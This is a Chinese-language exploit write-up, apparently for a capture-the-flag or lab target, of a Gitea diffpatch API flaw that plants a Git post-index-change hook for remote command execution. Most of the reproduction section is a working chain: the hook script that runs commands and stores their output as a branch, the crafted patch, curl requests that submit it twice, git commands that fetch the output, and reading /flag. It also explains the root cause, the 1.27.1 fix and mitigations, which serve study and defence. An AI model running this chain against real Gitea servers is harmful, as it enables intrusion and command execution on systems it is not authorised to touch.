前言

Gitea 在 1.17 ~ 1.27.0 版本中存在一个严重的代码注入漏洞(CVE-2026-60004,GHSA-rcr6-4jqh-j84m),官方已在 1.27.1 修复。漏洞位于 diffpatch(差异补丁)API:攻击者只需拥有一个账号并对任意仓库具备写权限,即可通过该接口提交恶意补丁,在服务器以 裸仓库(bare repo) 形式存储的临时仓库中 植入并执行 Git 钩子,从而以 Gitea 服务账户权限执行任意命令。

由于 Gitea 默认 开放注册,外部人员可以自行注册账号并创建仓库,从「无任何权限」直接获得仓库写权限,使该漏洞极易被真实利用(CVSS 9.8)。

漏洞信息

  • 漏洞编号:CVE-2026-60004(GHSA-rcr6-4jqh-j84m)
  • 影响版本:Gitea 1.17 ~ 1.27.0
  • 修复版本:1.27.1
  • 漏洞位置:POST /api/v1/repos/{owner}/{repo}/diffpatch
  • 利用前提:拥有账号 + 对目标仓库具备写权限(默认开放注册时,攻击者可自行注册并创建仓库,天然满足)
  • 危害:任意命令执行(以 Gitea 运行账户身份,CWE-94)

环境信息

  • 目标:一台存在该漏洞的 Gitea 实例(受影响的 1.27.0)
  • 服务账户:git(Run As Username: git)
  • Git 版本:2.54.0(git apply -3 需要 Git ≥ 2.32)

Gitea 首页,底部显示版本 1.27.0

漏洞原理

diffpatch 接口

Gitea 提供 diffpatch 接口,用于对一个仓库应用一段 unified diff 补丁:

1
2
3
4
5
6
7
8
9
POST /api/v1/repos/{owner}/{repo}/diffpatch
Content-Type: application/json

{
"content": "<unified diff>",
"message": "commit message",
"branch": "main",
"new_branch": "main"
}

服务端逻辑位于 services/repository/files/patch.go,流程为:创建临时仓库 → 克隆目标仓库 → git apply 应用补丁 → 生成提交 → 推送回目标仓库。

漏洞点:裸仓库 + git apply --index --cached + three-way 回退

受影响版本用 裸仓库 克隆临时仓库,并以如下命令应用补丁:

1
2
3
4
5
6
7
8
9
10
// v1.27.0 —— 存在漏洞
if err := t.Clone(ctx, opts.OldBranch, true); err != nil { // ← bare = true
return nil, err
}
...
cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached",
"--ignore-whitespace", "--whitespace=fix", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3")
}

关键点:

  1. 临时仓库是 裸仓库,其「工作目录」就是 Git 目录本身($GIT_DIR);
  2. 正常情况下 --cached 只写索引,不会写工作区。但 把同一个补丁提交两次 会产生 add/add 冲突,触发 Git 的 three-way 回退(-3)——即使带 --cached,Git 仍会把索引中的路径 checkout 到工作区;
  3. 于是补丁里的文件被真实地写进裸仓库的 Git 目录:hooks/post-index-change 成为一个「活的」Git 钩子;
  4. post-index-change 是 Git 在 写索引时 调用的钩子(git apply、read-tree、update-index 等都会触发),因此 无需等待 push,diffpatch 操作本身就会执行该钩子;钩子以 Gitea 服务账户(git)权限运行,实现任意命令执行。

结果回显(无外连)

临时仓库是 --shared 克隆,其 objects/info/alternates 指向 源仓库(真实仓库) 的对象目录。钩子可以据此定位真实仓库的 Git 目录,把命令输出写成对象并 update-ref 创建一个分支;攻击者再用 smart HTTP 拉取该分支即可读取命令输出,全程不需要目标主动出网。

官方修复

1.27.1 通过 PR #38637 修复:把临时仓库改为 非裸仓库(non-bare) 克隆,使工作区与 Git 目录分离,补丁再也无法写入 hooks/ 等 Git 内部文件。

1
2
// v1.27.1 —— 已修复
if err := t.Clone(ctx, opts.OldBranch, false); err != nil { // ← bare = false

复现步骤

1. 指纹识别

访问首页,底部显示 版本: 1.27.0,处于受影响版本(见上图)。

2. 注册账号并创建仓库

默认开放注册,注册一个普通账号后创建仓库,即可获得写权限。

3. 构造恶意补丁

补丁在 hooks/post-index-change 新增一个可执行脚本。脚本会执行命令、把输出写入源仓库对象,并创建一个 refs/heads/<leak_ref> 分支用于回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
/*) ;;
*) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
output_blob=$( { id; hostname; uname -srm; command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "command output\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/poc-output "$commit" || exit 7
exit 0

对应的补丁:

1
2
3
4
5
6
7
8
diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000000000000000000000000000000000000..<blob_oid>
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,N @@
+#!/bin/sh
+...(上面的脚本内容)

4. 同一补丁提交两次

关键:把这段完全相同的补丁连续提交两次。

1
2
3
4
curl -X POST "$TARGET/api/v1/repos/$USER/$REPO/diffpatch" \
-u "$USER:$PASS" -H "Content-Type: application/json" \
-d '{"content":"<上面的补丁>","message":"add hook","branch":"main","new_branch":"main"}'
# 再执行一次完全相同的请求

第一次 201 Created;第二次仍是 201 Created,但这次触发了 add/add 冲突与 three-way 回退,hooks/post-index-change 被真实写入裸仓库的 Git 目录并被执行。由于 post-index-change 的返回值不会体现在 diffpatch 的响应里,两次请求都表现为正常成功。

仓库中可见被植入的可执行钩子:

被植入的 hooks/post-index-change(可执行文件)

5. 读取命令执行结果

拉取钩子创建的 poc-output 分支,即可看到命令输出:

1
2
3
4
git init --bare leak.git
git -C leak.git -c "http.extraHeader=Authorization: Basic <base64(user:pass)>" \
fetch --no-tags "$TARGET/$USER/$REPO.git" "refs/heads/poc-output"
git -C leak.git show "FETCH_HEAD:output"

输出确认命令以 Gitea 服务账户 git 身份执行:

命令输出:uid=1000(git)

6. 获取 flag

拿到命令执行能力后,读取 flag 文件即可(本例中 flag 位于服务器根目录,属主为服务账户 git):

1
2
ls -la /
cat /flag

(flag 值略。)

修复建议

  1. 升级:立即升级到 Gitea 1.27.1 及以上;
  2. 关闭开放注册:DISABLE_REGISTRATION = true,或改为管理员审批 / 邮箱域名白名单;
  3. 收紧接口权限:限制 diffpatch 等会写仓库内容 / Git 目录的接口,仅授予可信用户并做审计;
  4. 资产排查:检查仓库中是否存在异常的 hooks/、custom_hooks/ 文件(可执行脚本),以及来源不明的分支;
  5. 最小权限:以低权限、隔离的账户运行 Gitea,降低 RCE 后的影响面。

参考